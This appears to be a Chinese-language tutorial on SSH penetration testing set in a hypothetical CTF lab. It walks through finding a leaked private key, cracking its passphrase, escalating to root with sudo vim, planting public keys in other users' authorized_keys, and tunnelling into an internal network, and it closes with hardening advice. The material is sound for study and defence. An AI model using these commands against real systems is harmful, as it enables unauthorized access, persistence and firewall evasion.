SSH渗透测试实战:从密钥利用到隧道穿透的完整攻防解析
1. 项目概述:从靶机到实战,SSH服务为何是渗透测试的“必争之地”
在网络安全竞赛和实战渗透测试中,SSH服务几乎是一个绕不开的“老朋友”。无论是DC系列靶机、VulnHub上的经典环境,还是企业内网的真实资产,22号端口背后运行的SSH守护进程,常常是攻击者获取初始立足点、建立持久化通道的关键跳板。我见过太多新手在CTF里对着SSH登录框一筹莫展,也处理过不少因为SSH配置不当导致整个内网沦陷的真实案例。这个协议设计之初是为了安全,但配置的复杂性和历史的“惯性”,让它成了安全与风险并存的矛盾体。
简单来说,一次针对SSH服务的渗透测试,远不止是“爆破密码”那么简单。它是一场从信息搜集、漏洞利用、权限提升到横向移动的完整战役。你需要理解SSH的认证机制(密码、密钥、甚至多因素),熟悉服务端和客户端的各种配置参数,掌握在受限环境下利用SSH进行隧道穿透的技巧。本次分享,我将以一个虚拟的、但高度贴近实战的CTF靶场环境为背景,拆解SSH渗透测试的全流程。无论你是正在刷题准备比赛,还是希望夯实内网渗透的基础,这篇从踩坑中总结出的经验,都能帮你构建一套清晰、可复现的攻击思路。我们会从最基础的端口扫描和横幅信息抓取开始,一步步深入到密钥利用、配置错误滥用和隧道技术,最后分享几个让我记忆深刻的“翻车”案例和排查技巧。
2. SSH服务渗透测试的核心思路与攻击面分析
进行SSH渗透,首先得知道从哪里下手。盲目爆破是最低效的方法。一个成熟的测试者,会像侦探一样,先勾勒出目标的“肖像”。
2.1 信息搜集:不止于22端口
很多人一提到SSH就是nmap -p 22,这远远不够。首先,SSH服务可能运行在非标准端口上。在高强度对抗的CTF或真实环境中,管理员修改默认端口是基本操作。因此,全面的端口扫描是第一步。我习惯使用nmap的-p-参数进行全端口扫描,或者针对性地扫描高位端口(如2222, 22222, 2022等)。
# 全面扫描,识别所有开放端口 nmap -sS -p- -T4 --min-rate=1000 <target_ip> # 针对扫描到的开放端口,进行服务和版本探测 nmap -sV -sC -p <discovered_ports> <target_ip>其次,获取SSH服务的横幅(Banner)信息至关重要。这条信息会暴露SSH服务器的软件类型和版本号。例如,SSH-2.0-OpenSSH_7.9p1。这个版本号是后续漏洞利用的基石。老版本的OpenSSH可能存在已知的漏洞,比如CVE-2018-15483(用户名枚举)、CVE-2020-14145(信息泄露)等。即使版本较新,特定的发行版(如Ubuntu、CentOS打的补丁不同)也可能存在配置差异。
注意:有些CTF靶机会故意在横幅中隐藏或修改版本信息,或者植入“彩蛋”。不要完全依赖自动化工具的输出,手动用
nc或telnet连接一下22端口,亲眼看看返回的原始信息,有时会有意外发现。echo “” | nc -nv <target_ip> 22
2.2 四大核心攻击面剖析
基于信息搜集的结果,我们可以将SSH服务的攻击面归纳为四大类,这构成了我们后续测试的路线图。
1. 弱口令与暴力破解这是最直接,但也最“笨”的方法。成功率取决于字典质量和目标策略。关键在于“智能”而非“蛮力”。首先尝试常见默认凭证,如root:root,admin:admin,user:user,以及目标业务相关的用户名(如靶机名、公司名缩写)。如果靶机是基于某个CMS或框架(如WordPress),可以尝试从Web界面收集可能的用户名。工具方面,hydra、medusa和patator是主流选择。但必须注意速率限制和账户锁定策略,在CTF中可能宽松,在真实测试中必须获得授权并谨慎操作。
2. SSH密钥相关漏洞这是本次分享的重点,也是高手与新手的分水岭。主要涉及:
- 私钥泄露:在靶机Web目录、备份文件(如
.bak,.old)、版本控制(.git目录)甚至其他已沦陷的主机上,可能找到SSH私钥文件(通常是id_rsa)。拿到后需注意权限(chmod 600 id_rsa)并尝试用ssh -i登录。如果私钥被加密,则需要破解其密码。 - 授权密钥文件(authorized_keys)滥用:如果发现你可以写入目标用户的
~/.ssh/authorized_keys文件(例如通过Web文件上传漏洞、配置错误的NFS共享等),就可以直接植入你自己的公钥,实现免密登录。 - 主机密钥(Host Key)欺骗:在中间人攻击(MITM)场景下可能用到,但在CTF中较少见。
3. 服务端配置错误OpenSSH服务器的配置文件/etc/ssh/sshd_config是宝藏也是雷区。管理员配置不当会打开致命缺口:
- 允许root登录:
PermitRootLogin yes。这给了攻击者直接夺取最高权限的机会。 - 密码认证过于宽松:
PasswordAuthentication yes且没有强密码策略。 - 启用不安全的认证方式:如
RSAAuthentication yes(已过时的SSHv1 RSA认证)或RhostsRSAAuthentication。 - 匹配块(Match Block)配置错误:可能意外地为某些用户或组开启了额外的权限。
- AllowUsers/DenyUsers列表错误:可能意外允许了未授权的用户。
4. 客户端配置利用与隧道攻击当我们通过某种方式(如Web漏洞)在目标服务器上获得了命令执行权限(RCE)但非交互式shell时,可以利用SSH客户端配置建立反向连接或隧道。
- SSH反向代理与端口转发:这是内网穿透的核心技术。通过将内网端口转发到攻击机,实现访问内网服务。
- 利用
ssh -o参数执行命令:在某些严格受限、但允许执行ssh命令的环境中,可以通过ssh -o ProxyCommand等参数来执行任意命令,有时能绕过限制。 - SSH Config (
~/.ssh/config) 利用:如果可控用户目录下的SSH配置文件,可以注入恶意配置,例如在连接特定主机时执行命令。
3. 实战演练:一步步拆解SSH渗透链条
理论说完,我们进入实战环节。假设我们面对一个名为dc-lab的CTF靶机,IP为192.168.1.100。我们的目标是获取root权限并找到所有flag。
3.1 第一阶段:侦察与初步接触
首先进行端口扫描。我们发现除了80(HTTP),2222端口也开放着SSH服务。
nmap -sV -sC -p 22,2222,80 192.168.1.100输出显示2222端口运行着SSH-2.0-OpenSSH_7.6p1,而22端口关闭。同时,80端口是一个简单的企业网站。
通过目录扫描(如gobuster)网站,我们发现了一个/backup/目录,里面有一个压缩包website_backup.tar.gz。下载解压后,在文件堆里找到了一个名为id_rsa_backup的文件——正是一个SSH私钥!
3.2 第二阶段:私钥处理与登录尝试
拿到私钥,第一步不是直接登录,而是先检查。
# 1. 检查私钥格式和是否加密 file id_rsa_backup # 如果显示“PEM RSA private key”,则是未加密或使用旧格式。如果显示“OpenSSH private key”,可能是新格式。 # 2. 尝试直接使用(注意修改权限) chmod 600 id_rsa_backup ssh -i id_rsa_backup -p 2222 user@192.168.1.100如果提示需要密码(“Enter passphrase for key ‘id_rsa_backup’:“),说明私钥被加密了。我们需要破解这个密码。使用ssh2john将私钥转换为John the Ripper可识别的格式,然后进行破解。
# 使用ssh2john(通常随John the Ripper安装) python3 /usr/share/john/ssh2john.py id_rsa_backup > id_rsa.hash # 使用john破解,rockyou.txt是常用字典 john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash假设破解出密码是summer2021。现在我们可以登录了。但登录用户是谁?私钥通常对应一个系统用户。我们需要枚举。常见的有www-data,apache,nginx,ubuntu,debian,user,admin,ctf,以及从网站内容中可能推断出的用户名。我们可以写个简单脚本用sshpass配合私钥尝试,或者更优雅地,利用SSH的LogLevel VERBOSE来看错误信息(但很多服务器会关闭详细日志)。
一个更直接的方法是:先不管用户,用-i指定密钥尝试连接,服务器会返回认证失败信息,有时会包含有效的用户名提示。或者,使用hydra进行基于密钥的用户名枚举(虽然效率较低)。
经过尝试,我们发现用户名为developer。
ssh -i id_rsa_backup -p 2222 developer@192.168.1.100 # 输入破解出的密码:summer2021成功!我们获得了第一个立足点,拿到了developer用户的shell。
3.3 第三阶段:权限提升与横向移动
登录后,立即开始信息收集。
# 查看当前用户权限 id sudo -l # 查看可以以root身份运行哪些命令 # 查看敏感文件 cat /etc/passwd | grep -v “nologin” # 查看可登录用户 ls -la /home/ # 查看其他用户目录 find / -perm -4000 -type f 2>/dev/null # 查找SUID文件假设sudo -l显示developer用户可以以root身份无密码运行/usr/bin/vim。那么权限提升就很简单了:
sudo vim -c ‘:! /bin/bash’ # 或者在vim内 :shell现在,我们已经是root了。但CTF通常要求找到多个flag。可能在/root/目录下有一个,在/home/下的其他用户目录也有。检查/home/,发现还有用户backup和admin。
检查backup用户的家目录,发现一个有趣的脚本/home/backup/backup.sh,内容是将/var/www/html备份到/home/backup/backups/,并且这个脚本由backup用户定期执行(cron job)。更重要的是,这个脚本对/home/backup/backups/目录有写权限,且该目录设置了粘滞位?不,关键是,我们作为root,可以修改这个脚本。
但我们也可以换个思路,利用SSH密钥横向移动。作为root,我们可以读取任何用户的私钥或向他们的authorized_keys写入公钥。
# 1. 检查其他用户的.ssh目录 ls -la /home/backup/.ssh/ ls -la /home/admin/.ssh/ # 2. 如果存在authorized_keys,我们可以直接追加我们的公钥 echo “ssh-rsa AAAAB3NzaC1yc2E... mykey” >> /home/backup/.ssh/authorized_keys # 3. 如果没有.ssh目录,可以创建(需注意目录权限必须是700,文件是600) su - backup -c “mkdir -p ~/.ssh && chmod 700 ~/.ssh” su - backup -c “echo ‘ssh-rsa AAAAB3NzaC1yc2E... mykey’ > ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys”现在,我们就可以从攻击机直接SSH到backup用户了。同理,可以获取admin用户的权限。在每个用户的家目录下仔细搜索,通常就能找到隐藏的flag文件(如.flag.txt,flag.txt,user.txt,root.txt)。
3.4 第四阶段:隧道技术穿透内网
假设在admin用户的家目录下,我们发现了一个笔记文件,提到内部有一个管理面板运行在172.16.0.10:8080(一个我们攻击机无法直接访问的内网地址)。这时就需要用到SSH隧道。
由于我们已经控制了developer用户(或root),可以建立动态SOCKS代理或本地/远程端口转发。
方法一:动态端口转发(SOCKS代理)在攻击机上执行:
ssh -i id_rsa_backup -p 2222 -D 1080 developer@192.168.1.100这条命令在攻击机的1080端口建立了一个SOCKS5代理。随后,我们可以配置浏览器或使用proxychains工具,让流量通过这个代理访问内网。
proxychains curl http://172.16.0.10:8080方法二:本地端口转发如果只想访问特定的内网服务,本地转发更直接。
ssh -i id_rsa_backup -p 2222 -L 8080:172.16.0.10:8080 developer@192.168.1.100这条命令将靶机192.168.1.100能访问到的内网172.16.0.10:8080服务,映射到了攻击机本地的8080端口。现在,在攻击机浏览器访问http://127.0.0.1:8080,就等于在访问内网的管理面板。
4. 高频问题排查与深度技巧实录
在实际操作中,绝不会一帆风顺。下面是我在无数次“连接失败”和“权限不足”中总结出的排查清单和进阶技巧。
4.1 连接与认证失败排查表
| 问题现象 | 可能原因 | 排查命令与解决思路 |
|---|---|---|
Connection refused | 端口不对、服务未运行、防火墙阻断 | nc -zv <IP> <PORT>确认端口状态;检查目标netstat -tlnp;检查防火墙规则iptables -L/ufw status。 |
Permission denied (publickey,password). | 用户名错误、密钥错误、密码错误、服务器禁用密码登录 | 1. 确认用户名:尝试常见用户或信息搜集所得。 2. 检查密钥权限: chmod 600。3. 检查 sshd_config:PasswordAuthentication no则只能密钥登录。4. 使用 -v参数查看详细握手过程。 |
Agent admitted failure to sign using the key. | SSH Agent未加载密钥或密钥格式问题 | ssh-add ~/.ssh/id_rsa加载密钥;或直接使用ssh -i指定密钥路径。 |
Host key verification failed. | 已知主机记录(known_hosts)冲突 | 删除~/.ssh/known_hosts中对应IP的记录,或使用ssh -o StrictHostKeyChecking=no(不安全,仅测试用)。 |
| 登录后立即断开 | 用户shell被设置为/bin/false或/sbin/nologin | 检查/etc/passwd中该用户的shell字段。即使登录,也无法获得交互shell。需通过其他方式(如ssh -T执行单条命令)利用。 |
| 可以连接但执行命令无回显 | 可能处于受限shell(rbash) | 尝试逃逸技术:ssh user@host ‘/bin/bash’;或利用环境变量、编辑器等突破。 |
4.2 私钥利用的“骚操作”
- 从内存中提取私钥:如果通过其他漏洞获得了root权限,可以尝试从SSH进程内存中提取私钥。使用
gcore或/proc/<pid>/mem(需要高权限且复杂),但更简单的是检查是否有ssh-agent在运行,并用ssh-add -L列出已加载的公钥。 - 利用
ssh-keyscan进行信息搜集:ssh-keyscan <target_ip>可以快速获取目标主机的公钥指纹,用于验证主机身份或加入已知主机列表,在批量测试时有用。 - 批量化密钥测试:当你有一堆密钥和一堆IP时,可以用
pssh或自己写循环脚本。for ip in $(cat ips.txt); do for key in $(cat keys.txt); do ssh -o ConnectTimeout=5 -o BatchMode=yes -i $key user@$ip “whoami” && echo “[+] $ip with $key” >> success.txt done doneBatchMode=yes会禁止交互式询问,适合脚本。
4.3 隧道搭建的稳定性与隐匿性
- 保持长连接:SSH隧道容易因为网络波动或超时而断开。使用
autossh工具可以自动重连。autossh -M 0 -o “ServerAliveInterval 30” -o “ServerAliveCountMax 3” -i key -p 2222 -D 1080 user@host-M 0禁用监控端口,ServerAliveInterval每30秒发送保活包。 - 应对网络限制:如果目标网络出站流量限制到22端口,可以尝试将SSH服务端端口转发到443(HTTPS)或53(DNS)等常用端口,以绕过基础防火墙策略。这需要在服务端有权限修改
sshd_config并重启服务,或通过iptables进行重定向。 - 多层跳板:在复杂内网,可能需要多次转发。记住一个原则:
-L(本地转发)是“把远端的端口,拿到本地来用”;-R(远程转发)是“把本地的端口,放到远端去用”。画个简单的数据流图能极大帮助理解。
5. 防御视角:从攻击中学习如何加固SSH服务
作为渗透测试者,理解攻击手段的最终目的是为了更好的防御。完成一次测试后,我通常会从防御者角度给出以下加固建议,这也是CTF出题人常常设置“考点”的地方。
- 禁用密码登录,强制使用密钥对:在
/etc/ssh/sshd_config中设置PasswordAuthentication no和ChallengeResponseAuthentication no。这是最有效的一步。 - 使用强密码保护私钥:即使使用了密钥,也必须为私钥设置强密码短语(passphrase),防止私钥文件泄露即意味着沦陷。
- 限制用户和IP:使用
AllowUsers或AllowGroups明确指定允许登录的用户。结合防火墙(如iptables、ufw)或TCP Wrappers(/etc/hosts.allow,/etc/hosts.deny)限制来源IP。 - 修改默认端口:将端口从22改为一个高位随机端口,能减少大量自动化扫描和低水平攻击。
- 使用Fail2ban:部署Fail2ban监控SSH日志,对多次认证失败的IP进行临时封禁。
- 保持更新:及时更新OpenSSH服务器软件,修复已知漏洞。
- 审查配置与日志:定期检查
sshd_config,确保没有不必要的配置项(如PermitRootLogin应为prohibit-password或no)。监控/var/log/auth.log或/var/log/secure中的异常登录尝试。 - 限制内部用户权限:避免给普通用户不必要的
sudo权限。定期审计SUID/GUID文件。
渗透测试就像一场攻防博弈,SSH服务是这场博弈中一个经典而持久的战场。从信息泄露的私钥到配置疏忽的sudo规则,从简单的端口转发到复杂的内网穿透,每一个环节都考验着测试者的细心和知识广度。我个人的体会是,工具永远在变,但协议原理和攻防思路是相通的。下次当你面对一个SSH服务时,不妨先停下来,花五分钟时间,按照“信息搜集->攻击面分析->分层利用->权限维持”这个流程在脑子里过一遍,你会发现很多看似困难的问题,其实都有清晰的解决路径。最后一个小技巧:建立一个属于你自己的“武器库”,里面不仅要有nmap、hydra、john这些工具,更要有一个分类清晰的笔记,记录你遇到过的各种SSH配置片段、错误信息和解法。时间久了,这就是你最宝贵的经验。
